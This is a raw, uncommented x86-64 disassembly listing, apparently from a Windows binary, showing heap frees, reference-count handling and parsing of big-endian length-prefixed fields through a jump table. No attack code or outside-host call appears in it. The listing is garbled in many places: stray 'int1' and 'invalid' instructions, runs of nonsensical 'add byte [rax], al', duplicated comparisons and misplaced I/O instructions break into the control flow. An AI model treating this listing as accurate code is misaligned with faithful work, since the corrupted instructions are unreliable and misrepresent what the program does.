mov byte [rsp + 0x176], al
mov r8, qword [rsp + 0x7c8]
test r8b, 1
je 0x14004aa6d
shr r8, 5
mov rax, qword [rsp + 0x7c0]
add rax, r8
je 0x14004aaa9
mov r13b, 0x13
cmp qword [rsp + 0x748], 5
jb 0x140049689
mov rax, qword [rsp + 0x740]
mov esi, dword [rax]
bswap esi
mov ecx, esi
int1
int1
and ecx, 0x7fffffff
movzx eax, byte [rax + 4]
mov dword [rsp + 0x3d0], ecx
mov byte [rsp + 0x3d4], al
mov eax, dword [rsp + 0x3d1]
mov byte [rsp + 0x7b0], sil
mov dword [rsp + 0x7b1], eax
mov r13b, 0x14
mov rax, qword [rsp + 0x40]
cmp dword [rsp + 0x7b0], eax
jne 0x14004a248
mov rsi, qword [rsp + 0x758]
test sil, 1
je 0x1400496c9
shr rsi, 5
mov rax, qword [rsp + 0x750]
add rax, rsi
movzx ebx, byte [rsp + 0x4e]
je 0x140049708
mov r8, qword [rsp + 0x740]
sub r8, rsi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140049708
lock dec qword [rsi + 0x20]
movzx ebx, byte [rsp + 0x4e]
jne 0x140049708
mov rax, qword [rsi + 0x20]
cmp qword [rsi], 0
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
je 0x1400496f5
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call rbx
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call rbx
movzx ebx, byte [rsp + 0x4e]
mov al, 1
mov dword [rsp + 0x6c], eax
cmp r13b, 0x14
cmp ch, 0x14
cmp ch, 0x14
jne case.0x1400dd9c6.2652
movabs rax, 0xffffffff00000000
mov rcx, qword [rsp + 0xb0]
and rcx, rax
inc rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xa8], 0
mov rcx, qword [rsp + 0x40]
jmp 0x14004978a
mov ecx, 1
mov eax, 1
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
mov qword [rsp + 0xb0], rax
mov bpl, 0xa
movzx r12d, byte [rsp + 0x4f]
mov byte [rsp + 0x1de], r13b
mov eax, ecx
mov qword [rsp + 0xc8], rax
mov r13, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x960]
cmp rdx, 2
je 0x140048fb0
jmp 0x14004ada1
lea ecx, [rax - 0xc]
movzx ecx, cl
cmp cl, 9
mov edx, 9
cmovae ecx, edx
cmp cl, 9
mov r13, qword [rsp + 0x60]
jne 0x140049e9a
and bl, 4
shr bl, 2
add al, 0xfd
cmp al, 9
setb al
or al, bl
jne 0x14004a7e7
mov r8d, 0x120
lea rbx, [rsp + 0x1e0]
mov rcx, rbx
lea rdx, [rsp + 0x3d0]
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x7b0]
movaps xmm1, xmmword [rsp + 0x7c0]
movaps xmmword [rsp + 0x740], xmm0
movaps xmmword [rsp + 0x750], xmm1
mov rsi, qword [rsp + 0xa48]
mov rcx, rsi
call fcn.140013570
mov qword [rsi], 0
jmp 0x14004a8e5
add eax, 0x24848b48
loopne 0x1400498e4
add byte [rax], al
add rax, r8
add eax, eax
je 0x14004993c
mov rax, qword [rsp + 0x3d0]
sub rax, r8
mov r8, rax
jmp 0x14004992d
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test r13, r13
je 0x140049a9a
mov rax, qword [rsp + 0x748]
mov r12b, 0xd
sub rax, r13
jae 0x140049a92
mov rsi, qword [rsp + 0x758]
test sil, 1
je 0x14004999e
shr rsi, 5
mov rax, qword [rsp + 0x750]
add rax, rsi
mov r13, qword [rsp + 0x60]
movzx ebx, byte [rsp + 0x4e]
je 0x1400499e2
mov r8, qword [rsp + 0x740]
sub r8, rsi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x1400499e2
lock dec qword [rsi + 0x20]
mov r13, qword [rsp + 0x60]
movzx ebx, byte [rsp + 0x4e]
jne 0x1400499e2
mov rax, qword [rsi + 0x20]
cmp qword [rsi], 0
mov rbx, qword [sym.imp.kernel32.dll_HeapFree]
je 0x1400499cf
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call rbx
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call rbx
movzx ebx, byte [rsp + 0x4e]
add byte [rcx], dh
ror byte [rcx - 0x77], cl
invalid
mov bpl, 0xa
mov eax, 1
mov qword [rsp + 0xc8], rax
mov eax, 1
mov qword [rsp + 0xd8], rax
mov al, 1
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
mov qword [rsp + 0xb0], rax
mov rdx, qword [rsp + 0x960]
cmp rdx, 2
je 0x140048fb0
jmp 0x14004ada1
add byte [rax], al
mov qword [rsp + 0x748], rax
bswap esi
movaps xmmword [rsp + 0x10f0], xmm6
mov rax, qword [rsp + 0x740]
mov rcx, qword [rsp + 0x748]
movaps xmm0, xmmword [rsp + 0x750]
lea r8, [rsp + 0x1f0]
movups xmmword [r8 + 7], xmm0
mov qword [r8 - 9], rax
mov qword [r8 - 1], rcx
mov qword [rsp + 0x3d0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsp + 0x4f]
mov byte [rsp + 0x3d8], al
mov rax, qword [rsp + 0xfc1]
mov rcx, qword [rsp + 0xfc8]
lea rdx, [rsp + 0x3f0]
mov qword [rdx - 0x10], rcx
mov qword [rdx - 0x17], rax
mov qword [rsp + 0x3e8], 0
mov qword [rsp + 0x3f0], 8
movaps xmm0, xmmword [rsp + 0x10f0]
movups xmmword [rdx + 8], xmm0
mov qword [rsp + 0x408], 8
mov qword [rsp + 0x410], 0
mov qword [rsp + 0x418], 2
mov qword [rsp + 0x420], 0
mov word [rsp + 0x428], 0
movzx eax, word [rsp + 0xa6e]
mov word [rdx + 0x3e], ax
mov eax, dword [rsp + 0xa6a]
mov dword [rdx + 0x3a], eax
mov byte [rsp + 0x430], 0xb
mov rax, qword [rsp + 0xcef]
mov qword [rdx + 0x50], rax
movups xmm0, xmmword [rsp + 0xce0]
movups xmmword [rdx + 0x41], xmm0
mov qword [rsp + 0x448], 0
mov rax, qword [rsp + 0x548]
mov qword [rdx + 0x70], rax
movups xmm0, xmmword [rsp + 0x538]
movups xmmword [rdx + 0x60], xmm0
mov qword [rsp + 0x468], 0
mov rax, qword [rsp + 0xd08]
mov qword [rdx + 0x90], rax
movups xmm0, xmmword [rsp + 0xcf8]
movups xmmword [rdx + 0x80], xmm0
mov qword [rsp + 0x488], 0
mov rax, qword [rsp + 0xc08]
mov qword [rdx + 0xb0], rax
movups xmm0, xmmword [rsp + 0xbf8]
movups xmmword [rdx + 0xa0], xmm0
mov qword [rsp + 0x4a8], 0
mov rax, qword [rsp + 0xe48]
mov qword [rdx + 0xd0], rax
movups xmm0, xmmword [rsp + 0xe38]
movups xmmword [rdx + 0xc0], xmm0
mov word [rsp + 0x4c8], 0
movzx eax, word [rsp + 0xa68]
mov word [rdx + 0xde], ax
mov eax, dword [rsp + 0xa64]
mov dword [rdx + 0xda], eax
mov qword [rsp + 0x4d0], 0
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + rbx*8], ah
add al, 0
add byte [rax], al
add al, 0
add byte [rax], al
add byte [rax], al
add dh, al
test byte [rax + rbx*8], ah
add al, 0
add byte [rax], al
mov eax, dword [rsp + 0xd14]
mov ecx, dword [rsp + 0xd17]
mov dword [rdx + 0xec], ecx
mov dword [rdx + 0xe9], eax
mov rax, qword [rsp + 0x40]
mov dword [rsp + 0x4e0], eax
mov dword [rsp + 0x4e4], esi
mov byte [rsp + 0x4e8], bl
mov eax, dword [rsp + 0x1e0]
mov ecx, dword [rsp + 0x1e3]
mov dword [rdx + 0xfc], ecx
mov dword [rdx + 0xf9], eax
movdqu xmm0, xmmword [r8 - 9]
movups xmm1, xmmword [r8 + 7]
movaps xmmword [rsp + 0x7c0], xmm1
movdqa xmmword [rsp + 0x7b0], xmm0
lea rcx, [rsp + 0x3d0]
lea rdx, [rsp + 0x7b0]
mov r8, r14
mov r9, qword [rsp + 0xc60]
call fcn.140017b20
cmp al, 0x15
jne 0x140049e7b
test bl, 4
mov r12, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
je 0x14004a890
mov eax, dword [rsp + 0x3d0]
mov qword [rsp + 0xa8], rax
mov eax, dword [rsp + 0x3d4]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0xb0], rax
mov rax, qword [rsp + 0x3e0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x3e8]
mov eax, dword [rsp + 0x3e8]
mov eax, dword [rsp + 0x3e8]
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0x3f0]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x3f8]
mov dword [rsp + 0x530], eax
mov eax, dword [rsp + 0x3fc]
mov dword [rsp + 0x52c], eax
mov eax, dword [rsp + 0x400]
mov dword [rsp + 0x528], eax
movzx r14d, byte [rsp + 0x404]
lea rsi, [rsp + 0x3f0]
movzx eax, word [rsi + 0x15]
mov word [rsp + 0x17c], ax
movzx eax, byte [rsi + 0x17]
mov byte [rsp + 0x17e], al
mov r8d, 0xe0
lea rcx, [rsp + 0x570]
lea rdx, [rsp + 0x408]
call fcn.140121660
movzx eax, byte [rsp + 0x4e8]
mov dword [rsp + 0x14c], eax
movzx eax, byte [rsp + 0x4ec]
mov dword [rsp + 0x148], eax
movzx eax, word [rsi + 0xf9]
mov word [rsp + 0x178], ax
movzx eax, byte [rsi + 0xfb]
mov byte [rsp + 0x17a], al
jp 0x140049e23
add byte [rax], al
jp 0x140049e23
add byte [rax], al
add byte [rdi], cl
mov bh, 0x86
std
add byte [rax], al
add byte [rsi - 0x77], ah
test byte [rsp + rsi*2], ah
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x86
inc dword [rax]
add byte [rax], al
movzx eax, word [rsi + 0xfd]
mov word [rsp + 0x174], ax
movzx eax, byte [rsi + 0xff]
mov byte [rsp + 0x176], al
mov r8, qword [rsp + 0x7c8]
test r8b, 1
je 0x14004b0c5
shr r8, 5
mov rax, qword [rsp + 0x7c0]
add rax, r8
je 0x14004b101
mov rax, qword [rsp + 0x7b0]
sub rax, r8
mov r8, rax
jmp 0x14004b0f2
lea ecx, [rax - 0xc]
movzx ecx, cl
cmp cl, 9
mov edx, 9
cmovae ecx, edx
cmp cl, 9
mov r13, qword [rsp + 0x60]
je 0x14004a7d2
movzx eax, cl
cmp eax, 7
mov rcx, qword [rsp + 0xb0]
jne 0x14004a7e7
movabs rax, 0xffffffff00000000
and rcx, rax
inc rcx
mov qword [rsp + 0xb0], rcx
mov qword [rsp + 0xa8], 0
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xd8]
mov rbx, qword [rsp + 0xb8]
mov r14, qword [rsp + 0xc0]
mov r8, qword [rsp + 0x7c8]
test r8b, 1
mov qword [rsp + 0xd8], rax
jne 0x14004a831
shl r10d, 0x18
shl ecx, 0x10
or ecx, r10d
shl r13d, 8
or r13d, ecx
or r13d, edx
mov ecx, 1
mov qword [rsp + 0xc0], rcx
mov dword [rsp + 0xa8], r13d
add r14, r12
sub r8, r12
mov rdi, qword [rsp + 0xf8]
mov r13, qword [rsp + 0x60]
je 0x14004aaf6
cmp r8, 6
mov r12d, 6
cmovb r12, r8
cmp r8, 1
je 0x1400551fa
cmp r8, 2
jbe 0x1400551a2
cmp r8, 3
je 0x1400551e4
cmp r8, 4
jbe 0x1400551b8
cmp r8, 5
je 0x1400551ce
add byte [rax], al
movzx ecx, word [r14]
rol cx, 8
movzx edi, cx
dec edi
cmp edi, 7
ja case.0x14004a0dd.7
movzx r10d, byte [r14 + 2]
movzx ecx, byte [r14 + 3]
movzx r13d, byte [r14 + 4]
movzx edx, byte [r14 + 5]
lea r11, [0x140194124]
movsxd rdi, dword [r11 + rdi*4]
add rdi, r11
jmp rdi
shl r10d, 0x18
shl ecx, 0x10
or ecx, r10d
shl r13d, 8
or r13d, ecx
or r13d, edx
mov ecx, eax
mov eax, 1
mov qword [rsp + 0x40], rax
mov eax, ecx
mov dword [rsp + 0x6c], r13d
insb byte [rdi], dx
jmp case.0x14004a0dd.7
shl r10d, 0x18
shl ecx, 0x10
or ecx, r10d
shl r13d, 8
or r13d, ecx
or r13d, edx
mov ecx, 1
mov qword [rsp + 0xc8], rcx
add byte [rcx + rcx*4 - 0x13], al
cmp r13d, 2
jb case.0x14004a0dd.7
jmp 0x14004b178
shl r10d, 0x18
shl ecx, 0x10
or ecx, r10d
shl r13d, 8
or r13d, ecx
or r13d, edx
mov eax, 1
mov r9d, r13d
cmp r13d, 2
jb case.0x14004a0dd.7
jmp 0x14004b178
shl r10d, 0x18
shl ecx, 0x10
or ecx, r10d
shl r13d, 8
or r13d, ecx
or r13d, edx
mov esi, 1
mov dword [rsp + 0xb0], r13d
jmp case.0x14004a0dd.7
shl r10d, 0x18
js 0x14004b178
shl ecx, 0x10
shl r13d, 8
or ecx, edx
or ecx, r13d
or ecx, r10d
mov edx, 1
mov qword [rsp + 0xd8], rdx
mov dword [rsp + 0x70], ecx
jmp case.0x14004a0dd.7
shl r10d, 0x18
shl ecx, 0x10
or ecx, r10d
shl r13d, 8
lea r10d, [rcx + r13]
add r10d, 0xffffc000
cmp r10d, 0xffc000
jae 0x14004b178
or ecx, r13d
or ecx, edx
mov edx, 1
mov qword [rsp + 0xb8], rdx
mov dword [rsp + 0x13c], ecx
jmp case.0x14004a0dd.7
mov r8d, 5
lea rcx, [rsp + 0x3d0]
lea rdx, [rsp + 0x740]
call fcn.140008630
mov r8, qword [rsp + 0x3e8]
test r8b, 1
je 0x14004a760
shr r8, 5
mov rax, qword [rsp + 0x3e0]
add rax, r8
je 0x14004a7a4
mov rax, qword [rsp + 0x3d0]
sub rax, r8
mov r8, rax
jmp 0x14004a795
mov rax, qword [rsp + 0x7b0]
lea rcx, [rsp + 0x1e0]
mov r8, rdx
lea rdx, [rsp + 0x7c8]
mov r9, rsi
call qword [rax]
dec qword [rsp + 0x7c0]
mov rax, qword [rsp + 0x7b8]
inc rax
mov qword [rsp + 0x1f0], 1
movdqu xmm0, xmmword [rsp + 0x1e0]
movdqa xmmword [rsp + 0x3d0], xmm0
mov rcx, qword [rsp + 0x1f0]
mov qword [rsp + 0x3e0], rcx
mov rcx, qword [rsp + 0x1f8]
mov qword [rsp + 0x3e8], rcx
mov qword [rsp + 0x7b8], rax
mov rax, qword [rsp + 0x3d0]
mov rdx, qword [rsp + 0x3d8]
mov r8, qword [rsp + 0x3e0]
lea rcx, [rsp + 0x3e8]
call qword [rax + 0x10]
not r13
add rsi, r13
mov qword [rsp + 0xcf8], rsi
mov r9, qword [rsp + 0x7c0]
cmp r9, rsi
jb 0x1400556e5
mov r13, qword [rsp + 0x60]
jne 0x14004a38a
mov qword [rsp + 0x748], 1
lea rax, [rsp + 0x750]
movups xmmword [rax], xmm6
lea rax, [0x140130408]
mov qword [rsp + 0x740], rax
jmp 0x14004ac3c
test rsi, rsi
je 0x14004abf4
mov rax, qword [rsp + 0x7b0]
mov r8, qword [rsp + 0x7b8]
lea rcx, [rsp + 0x1e0]
lea rdx, [rsp + 0x7c8]
call qword [rax]
sub qword [rsp + 0x1f0], rsi
mov qword [rsp + 0x7c0], rsi
add qword [rsp + 0x1e8], rsi
movups xmm0, xmmword [rsp + 0x1e0]
movaps xmmword [rsp + 0x740], xmm0
movdqu xmm0, xmmword [rsp + 0x1f0]
movdqa xmmword [rsp + 0x750], xmm0
jmp 0x14004ac3c
lock dec qword [r8 + 0x20]
jne 0x14004a7a4
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14004a795
mov rax, qword [r8 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov rdi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rdi
mov rdi, qword [rsp + 0xf8]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
shr esi, 0x1f
mov eax, dword [rsp + 0x7b0]
mov dword [rsp + 0x958], eax
movzx eax, byte [rsp + 0x7b4]
mov byte [rsp + 0x95c], al
test r12, r12
jne 0x140049200
jmp 0x14004921c
and bl, 4
shr bl, 2
add al, 0xfd
cmp al, 9
setb al
or al, bl
je 0x14004a890
xor ebx, ebx
xor r14d, r14d
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
mov qword [rsp + 0xb0], rax
mov eax, 1
mov ecx, 1
mov qword [rsp + 0xc8], rcx
mov r8, qword [rsp + 0x7c8]
test r8b, 1
mov qword [rsp + 0xd8], rax
je 0x140049f11
mov r8d, 0x120
lea rbx, [rsp + 0x1e0]
mov rcx, rbx
lea rdx, [rsp + 0x3d0]
call fcn.140121660
movaps xmm0, xmmword [rsp + 0x7b0]
movaps xmm1, xmmword [rsp + 0x7c0]
movaps xmmword [rsp + 0x740], xmm0
movaps xmmword [rsp + 0x750], xmm1
mov rsi, qword [rsp + 0xa48]
mov rcx, rsi
call fcn.140013570
mov qword [rsi], 1
mov r8d, 0x120
mov rcx, qword [rsp + 0xc68]
mov rdx, rbx
call fcn.140121660
movdqa xmm0, xmmword [rsp + 0x740]
movaps xmm1, xmmword [rsp + 0x750]
mov rax, qword [rsp + 0xd78]
movdqu xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm1
mov bpl, 9
movzx r12d, byte [rsp + 0x4f]
jmp 0x14004ad8a
lock dec qword [r8 + 0x20]
jne 0x14004aaa9
mov ecx, ebp
mov r11, rsi
shl r11, 0x20
or r11, rcx
mov ecx, dword [rsp + 0xb0]
mov rsi, qword [rsp + 0xd8]
shl rsi, 0x20
or rsi, rcx
mov ecx, dword [rsp + 0x70]
mov r8, qword [rsp + 0xb8]
shl r8, 0x20
or r8, rcx
mov ecx, dword [rsp + 0x13c]
mov r10, qword [rsp + 0xc0]
shl r10, 0x20
or r10, rcx
mov dword [rsp + 0x36c], 0
mov ecx, dword [rsp + 0xa8]
mov edx, dword [rsp + 0x6c]
mov rbp, qword [rsp + 0x88]
mov r12, qword [rsp + 0x50]
mov r15d, eax
mov r14b, 4
mov al, 1
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0xc80], r9d
mov dword [rsp + 0x528], r9d
mov dword [rsp + 0x52c], r15d
mov dword [rsp + 0xc7c], ecx
mov dword [rsp + 0x530], ecx
mov qword [rsp + 0xc0], r10
mov qword [rsp + 0x1130], r10
mov qword [rsp + 0xb8], r8
mov qword [rsp + 0x1128], r8
mov qword [rsp + 0xd8], rsi
mov qword [rsp + 0x1120], rsi
mov qword [rsp + 0xb0], r11
mov qword [rsp + 0x1118], r11
mov qword [rsp + 0x378], rax
mov dword [rsp + 0x1c4], edx
mov eax, edx
mov qword [rsp + 0xa8], rax
jmp 0x14004aebf
movdqa xmm0, xmmword [rsp + 0x7b0]
movaps xmm1, xmmword [rsp + 0x7c0]
movaps xmmword [rsp + 0x750], xmm1
movdqa xmmword [rsp + 0x740], xmm0
lea rax, [0x140130408]
mov qword [rsp + 0x7b0], rax
mov qword [rsp + 0x7b8], 1
lea rax, [rsp + 0x7c0]
movups xmmword [rax], xmm6
mov rax, qword [rsp + 0x740]
mov rdx, qword [rsp + 0x748]
mov r8, qword [rsp + 0x750]
lea rcx, [rsp + 0x758]
call qword [rax + 0x10]
mov rdx, qword [rsp + 0x7b8]
and r12d, 9
mov esi, dword [rsp + 0x7b0]
mov eax, dword [rsp + 0x7b4]
mov dword [rsp + 0xc88], eax
mov eax, esi
shr eax, 8
mov dword [rsp + 0xc8c], eax
mov rax, qword [rsp + 0x7c0]
mov qword [rsp + 0x1138], rax
mov rax, qword [rsp + 0x7c8]
mov qword [rsp + 0x1140], rax
shr r14d, 3
mov eax, dword [rsp + 0x40]
movabs rcx, 0xff00000000000000
mov r8, qword [rsp + 0xd80]
and r8, rcx
or r8, rax
shl r12, 0x20
or r12, r8
shl r14, 0x28
or r14, r12
movzx r15d, bpl
shl r15, 0x30
or r15, r14
mov rbp, qword [rsp + 0x88]
movabs r14, 0x20000000000
mov r12, qword [rsp + 0x50]
mov rax, r15
movabs rcx, 0xff0000000000
and rax, rcx
cmp rax, r14
mov qword [rsp + 0xd80], r15
mov qword [rsp + 0x1150], rdx
jne 0x14004ae50
mov bpl, 0xa
mov eax, 1
mov qword [rsp + 0xc8], rax
mov eax, 1
mov qword [rsp + 0xd8], rax
mov al, 1
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0xb8], 0
movzx r12d, byte [rsp + 0x4f]
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0x13c], 0
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
mov qword [rsp + 0xb0], rax
movzx ebx, byte [rsp + 0x4e]
mov rdx, qword [rsp + 0x960]
cmp rdx, 2
je 0x140048fb0
mov rcx, qword [rsp + 0x968]
mov rax, qword [rsp + 0x970]
test dl, 1
je 0x14004adc8
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x978]
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x960]
cmp rsi, 2
je 0x140048fb0
mov rcx, qword [rsp + 0x968]
mov rax, qword [rsp + 0x970]
test sil, 1
je 0x14004ae0d
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x978]
call qword [rax + 0x80]
test rsi, rsi
je 0x140048fb0
mov rax, qword [rsp + 0x968]
lock dec qword [rax]
jne 0x140048fb0
mov rcx, qword [rsp + 0x968]
mov rdx, qword [rsp + 0x970]
call case.0x14009a20c.177
jmp 0x140048fb0
mov eax, dword [rsp + 0xc8c]
shl eax, 8
movzx ecx, sil
or ecx, eax
mov qword [rsp + 0xa8], rcx
mov dword [rsp + 0x6c], 0
mov qword [rsp + 0xc0], r15
mov rax, qword [rsp + 0x1140]
mov qword [rsp + 0xb8], rax
mov qword [rsp + 0x378], rax
mov rax, qword [rsp + 0x1138]
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0xb0], rdx
mov eax, dword [rsp + 0xc88]
mov qword [rsp + 0xc8], rax
mov qword [rsp + 0x40], rax
xor r14d, r14d
mov dword [rsp + 0x148], eax
mov dword [rsp + 0x14c], eax
movzx eax, byte [rsp + 0x17e]
mov byte [rsp + 0x3ca], al
movzx eax, word [rsp + 0x17c]
mov word [rsp + 0x3c8], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xa70]
lea rdx, [rsp + 0x570]
call fcn.140121660
movzx eax, word [rsp + 0x178]
mov word [rsp + 0x3c4], ax
movzx eax, byte [rsp + 0x17a]
mov byte [rsp + 0x3c6], al
movzx eax, word [rsp + 0x174]
mov word [rsp + 0x3c0], ax
movzx eax, byte [rsp + 0x176]
mov byte [rsp + 0x3c2], al
mov rdx, qword [rsp + 0x960]
cmp rdx, 2
je 0x14004b000
mov rcx, qword [rsp + 0x968]
mov rax, qword [rsp + 0x970]
test dl, 1
je 0x14004af7e
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x978]
call qword [rax + 0x68]
mov rsi, qword [rsp + 0x960]
cmp rsi, 2
je 0x14004b000
mov rcx, qword [rsp + 0x968]
mov rax, qword [rsp + 0x970]
test sil, 1
je 0x14004afbf
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
mov rdx, qword [rsp + 0x978]
call qword [rax + 0x80]
test rsi, rsi
je 0x14004b000
mov rax, qword [rsp + 0x968]
lock dec qword [rax]
jne 0x14004b000
mov rcx, qword [rsp + 0x968]
mov rdx, qword [rsp + 0x970]
call case.0x14009a20c.177
nop word cs:[rax + rax]
cmp byte [rsp + 0x6c], 0
je 0x14004b080
mov rsi, qword [rsp + 0x828]
test sil, 1
je 0x14004b042
shr rsi, 5
mov rax, qword [rsp + 0x820]
add rax, rsi
je 0x14004b080
mov r8, qword [rsp + 0x810]
sub r8, rsi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14004b080
lock dec qword [rsi + 0x20]
jne 0x14004b080
mov rax, qword [rsi + 0x20]
cmp qword [rsi], 0
mov r12, qword [sym.imp.kernel32.dll_HeapFree]
je 0x14004b06a
mov r8, qword [rsi + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
call r12
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call r12
mov r12, qword [rsp + 0x50]
nop
mov rax, qword [rsp + 0xa8]
mov ecx, eax
shr ecx, 8
mov dword [rsp + 0x6c], ecx
shr eax, 0x10
mov dword [rsp + 0x13c], eax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xbc0], rax
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0xbb8], rax
mov rsi, qword [rsp + 0x40]
jmp 0x140048fd8
lock dec qword [r8 + 0x20]
jne 0x14004b101
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14004b0f2
mov rax, qword [r8 + 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov rsi, r8
mov r8, rax
call qword [sym.imp.kernel32.dll_HeapFree]
mov r8, rsi
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsp + 0x36c], r14d
mov r14b, 3
mov dword [rsp + 0x6c], 0
jmp 0x14004b166
mov qword [rsp + 0x378], rax
mov qword [rsp + 0x40], rax
jmp 0x14004aecd
mov eax, dword [rsp + 0x1c4]
and eax, 0xffffff00
or eax, 0xe
mov dword [rsp + 0x1c4], eax
mov bpl, 0xa
mov eax, 1
mov qword [rsp + 0xc8], rax
mov eax, 1
mov qword [rsp + 0xd8], rax
mov al, 1
mov dword [rsp + 0x6c], eax
mov qword [rsp + 0xb8], 0
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0x13c], 0
mov al, 1
mov qword [rsp + 0xa8], rax
lea rax, [0x140132040]
mov qword [rsp + 0xb0], rax
mov rdi, qword [rsp + 0xf8]
jmp 0x140048a56
mov r14b, 0xa
mov rdx, qword [rsp + 0xd98]
cmp rdx, 2
jne 0x14004b563
jmp 0x14004b620
mov eax, r12d
and eax, 3
cmp eax, 1
jne 0x14004b409
cmp byte [r12 + 0xf], 0x15
jne 0x14004b409
mov rcx, qword [r12 - 1]
mov rax, qword [r12 + 7]
call qword [rax + 0x38]
movabs rcx, 0x7cfb48a6b430e507
xor rax, rcx
movabs rcx, 0xc8638bd4c3cd097
xor rdx, rcx
or rdx, rax
jne 0x14004b409
lea rax, [0x140132040]
mov qword [rsp + 0x1e8], rax
mov qword [rsp + 0x1f0], 1
lea rax, [rsp + 0x1f0]
movups xmmword [rax + 8], xmm6
mov dword [rsp + 0x1e4], 6
mov word [rsp + 0x1e0], 0x101
mov rsi, qword [r12 - 1]
mov rdi, qword [r12 + 7]
mov rax, qword [rdi]
test rax, rax
je 0x14004b2be
mov rcx, rsi
call rax
cmp qword [rdi + 8], 0
je 0x14004b2e5
cmp qword [rdi + 0x10], 0x11
mov rax, qword [sym.imp.kernel32.dll_HeapFree]
jb 0x14004b2d7
mov rsi, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call rax
lea r8, [r12 - 1]
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdi, qword [rsp + 0xf8]
jmp 0x14004b419
mov eax, dword [rsp + 0x13c]
shl eax, 0x10
movzx ecx, byte [rsp + 0x6c]
shl ecx, 8
or ecx, eax
movzx eax, byte [rsp + 0xa8]
or eax, ecx
mov qword [rsp + 0x338], rax
movzx eax, byte [rsp + 0x3be]
mov byte [rsp + 0x3ae], al
movzx eax, word [rsp + 0x3bc]
mov word [rsp + 0x3ac], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xfd0]
lea rdx, [rsp + 0xe50]
call fcn.140121660
movzx eax, word [rsp + 0x3b8]
mov word [rsp + 0x3a8], ax
movzx eax, byte [rsp + 0x3ba]
mov byte [rsp + 0x3aa], al
movzx eax, word [rsp + 0x3b4]
mov word [rsp + 0x3a4], ax
movzx eax, byte [rsp + 0x3b6]
mov byte [rsp + 0x3a6], al
mov ecx, esi
mov eax, dword [rsp + 0x528]
mov dword [rsp + 0x734], eax
mov eax, dword [rsp + 0x52c]
mov dword [rsp + 0x730], eax
mov eax, dword [rsp + 0x530]
mov dword [rsp + 0x72c], eax
mov eax, dword [rsp + 0x148]
mov byte [rsp + 0x156], al
mov eax, dword [rsp + 0x14c]
mov byte [rsp + 0x155], al
mov eax, dword [rsp + 0x36c]
mov byte [rsp + 0x10f], al
jmp 0x14004b4d4
lea rcx, [rsp + 0x1e0]
mov rdx, r12
call fcn.140016200
mov eax, dword [rsp + 0x1e0]
mov qword [rsp + 0x338], rax
mov eax, dword [rsp + 0x1e4]
mov dword [rsp + 0x1c8], eax
mov rax, qword [rsp + 0x1e8]
mov qword [rsp + 0x6c0], rax
